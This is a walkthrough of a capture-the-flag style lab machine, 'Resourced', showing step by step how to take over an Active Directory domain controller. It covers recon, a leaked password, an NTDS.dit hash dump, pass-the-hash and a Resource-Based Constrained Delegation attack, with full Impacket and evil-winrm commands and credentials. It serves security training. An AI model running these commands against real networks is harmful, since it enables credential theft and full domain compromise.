Proving Grounds Resourced: Breaking Down the RBCD Attack

Let’s be real for a second: when you first start learning about Active Directory (AD), it feels like trying to read a foreign language. It’s this massive, intimidating system that controls practically everything on a corporate network.

But here’s the secret they don’t tell you — you don’t always need to be a coding genius or find a zero-day exploit to hack it. More often than not, simple human errors and misconfigured settings are the actual keys to the kingdom.

Today, we’re going to walk through a lab machine together. We’ll start from the outside, find a careless mistake left behind by an IT admin, and use it to completely take over the Domain Controller using an attack called Resource-Based Constrained Delegation (RBCD).

Don’t let the long name scare you. We’re going to break it all down step-by-step. Let’s dive in!

**📝 A Quick Note on IP Addresses: **Because this walkthrough was done in a dynamic lab environment, you will notice the target IP address changes slightly as we progress (starting at 192.168.233.175, and later shifting to 192.168.156.175 and 192.168.146.175). Don’t let this confuse you! This is simply the lab machine grabbing a new IP from DHCP after a reboot. If you are following along in your own lab, just replace my IPs with whatever your current target IP is.

Step 1: Knocking on Doors (The Recon Phase)

Every good hack starts with recon. We need to know what doors are open on our target machine before we try to walk through them. For this, we use our trusty sidekick, Nmap.

nmap -p- -sCV -Pn --min-rate 10000 -oN nmap 192.168.233.175

Our scan tells us exactly what we’re dealing with: a Windows Domain Controller named ResourceDC on the domain resourced.local. It has classic AD ports open, like SMB (port 445) and LDAP (port 389).

Pro-Tip: Hacking tools can get finicky if they can’t resolve domain names. Before moving forward, let’s play nice and add the target’s IP and name to our local /etc/hosts file.

sudo nano /etc/hosts
# Add this line:
192.168.156.175 resourced.local ResourceDC.resourced.local

Step 2: Finding the Human Error

Since we know the machine is talking on SMB, let’s ask it for some basic information using a tool called Enum4Linux. Think of this as politely asking the server, “Hey, can I see a list of who works here?”

enum4linux 192.168.156.175

As we scroll through the list of users, we spot something that would make a security auditor cry. An IT administrator wrote down a temporary password right in the description box for a new hire named V.Ventz.

Rule number one of IT: Never put passwords in descriptions! But for us, this is the exact foothold we needed: reminder: HotelCalifornia194!.

Step 3: Digging for Treasure in Shared Folders

In corporate networks, computers often have shared folders (SMB shares) where employees drop files for each other. Now that we have V.Ventz’s password, we can peek inside.

We find a highly interesting share called Password Audit. Let’s mount it to our own attacking machine so we can interact with it easily.

sudo mount -t cifs -o username=V.Ventz //192.168.146.175/Password\ Audit /mnt/smb_share

Inside, we find the holy grail: the NTDS.dit file alongside the SYSTEM and SECURITY registry hives. Think of NTDS.dit as the master vault that holds the password hashes for everyone in the entire company. We definitely want this, so let’s copy it over to our desktop.

pushd /mnt/smb_share
cp -r * ~/Desktop/resourced
pushd

Step 4: Cracking the Vault

We have the vault, but now we need to extract the goods. We use an amazing script from the Impacket toolkit called secretsdump.py to rip the password hashes out of the files we just grabbed.

impacket-secretsdump -ntds Active\ Directory/ntds.dit -system registry/SYSTEM -security registry/SECURITY local

Look at that beautiful list! We now have the hash for a high-value user named L.Livingstone: 19a3a7550ce8c505c2d46b5e39d6f808.

Just to be safe, let’s use NetExec (formerly CrackMapExec) to quickly verify that this hash actually works against the Domain Controller.

netexec ldap 192.168.156.175 -u users.txt -H hash.txt

It throws a green [+] at us. We are officially in business.

Step 5: Getting our First Shell

In Windows hacking, you don’t always need a plaintext password to log in; having the “hash” is often just as good. This is called a “Pass-the-Hash” attack.

We fire up Evil-WinRM, which gives us a remote command line, and we log in as L.Livingstone using just his hash.

evil-winrm — ip 192.168.156.175 -u ‘L.Livingstone’ -H ‘19a3a7550ce8c505c2d46b5e39d6f808’

Once inside, we grab our first victory flag (local.txt) right off his desktop.

Step 6: The Hacker’s GPS (BloodHound)

Having a user shell is awesome, but we want to be the Domain Administrator. The problem is, AD is a maze. To find our path, we need a map.

We upload a tool called SharpHound to the server. It acts like a scout, quietly mapping out all the permissions, users, and relationships in the network.

.\SharpHound.exe

We download the .zip report it generates and load it into a visualizer called BloodHound.

BloodHound reveals our winning path. It shows that our compromised user, L.Livingstone, happens to have GenericAll permissions over the Domain Controller itself.

GenericAll basically means we have total control over the server’s settings. With this kind of power, we can perform our final, devastating attack: Resource-Based Constrained Delegation (RBCD).

Step 7: The Grand Finale (The RBCD Attack)

RBCD sounds super complex, but the core concept is actually really simple. Because we have control over the Domain Controller’s settings, we are just going to tell it: “Hey, I’m going to introduce you to a fake computer I just built. You need to trust it, and you need to let it log in as the Administrator.”

Here is how we do it in four commands using the Impacket toolkit:

1. Build the Fake Computer: First, we use addcomputer.py to create a new machine account on the network. Let’s call it ATTACKERSYSTEM$.

impacket-addcomputer -method SAMR -computer-name ‘ATTACKERSYSTEM$’ -computer-pass ‘Summer2018!’ -dc-host 192.168.146.175 -domain-netbios resourced ‘resourced.local/L.Livingstone’ -hashes :19a3a7550ce8c505c2d46b5e39d6f808

2. Change the Rules: Next, we use rbcd.py to modify the Domain Controller’s settings, forcing it to accept our new ATTACKERSYSTEM$.

impacket-rbcd -delegate-from ‘ATTACKERSYSTEM$’ -delegate-to ‘RESOURCEDC$’ -action ‘write’ -hashes :19a3a7550ce8c505c2d46b5e39d6f808 -dc-ip 192.168.146.175 ‘L.Livingstone’

3. Ask for the Service Ticket: Now that the trust is established, we use getST.py to request a service ticket. We are essentially telling the server, “I am ATTACKERSYSTEM$, and per our new rules, I need an access ticket to act as the Administrator.”

impacket-getST -spn ‘cifs/ResourceDC.resourced.local’ -impersonate ‘Administrator’ ‘resourced.local/attackersystem$:Summer2018!’

4. Become the Administrator: Finally, we load that ticket into our environment and use psexec.py. Because we have the ticket, the server lets us right in — no password required.

export KRB5CCNAME=Administrator@cifs_ResourceDC.resourced.local@RESOURCED.LOCAL.ccache

impacket-psexec -k -no-pass resourced.local/Administrator@ResourceDC.resourced.local -dc-ip 192.168.146.175

What Did We Learn?

This machine is a beautiful example of how tiny, easily overlooked flaws can snowball into a total network compromise.

• 1. Don’t leave passwords in descriptions! If the admin hadn’t gotten lazy with V.Ventz’s account, we would have never gotten inside the network in the first place.
• 2. Audit your permissions! A standard IT user (L.Livingstone) should almost never have GenericAll control over a Domain Controller.

Hacking Active Directory is just a giant puzzle. Once you understand how the pieces connect, the whole picture starts to make sense. Keep practicing, keep enumerating, and happy hacking!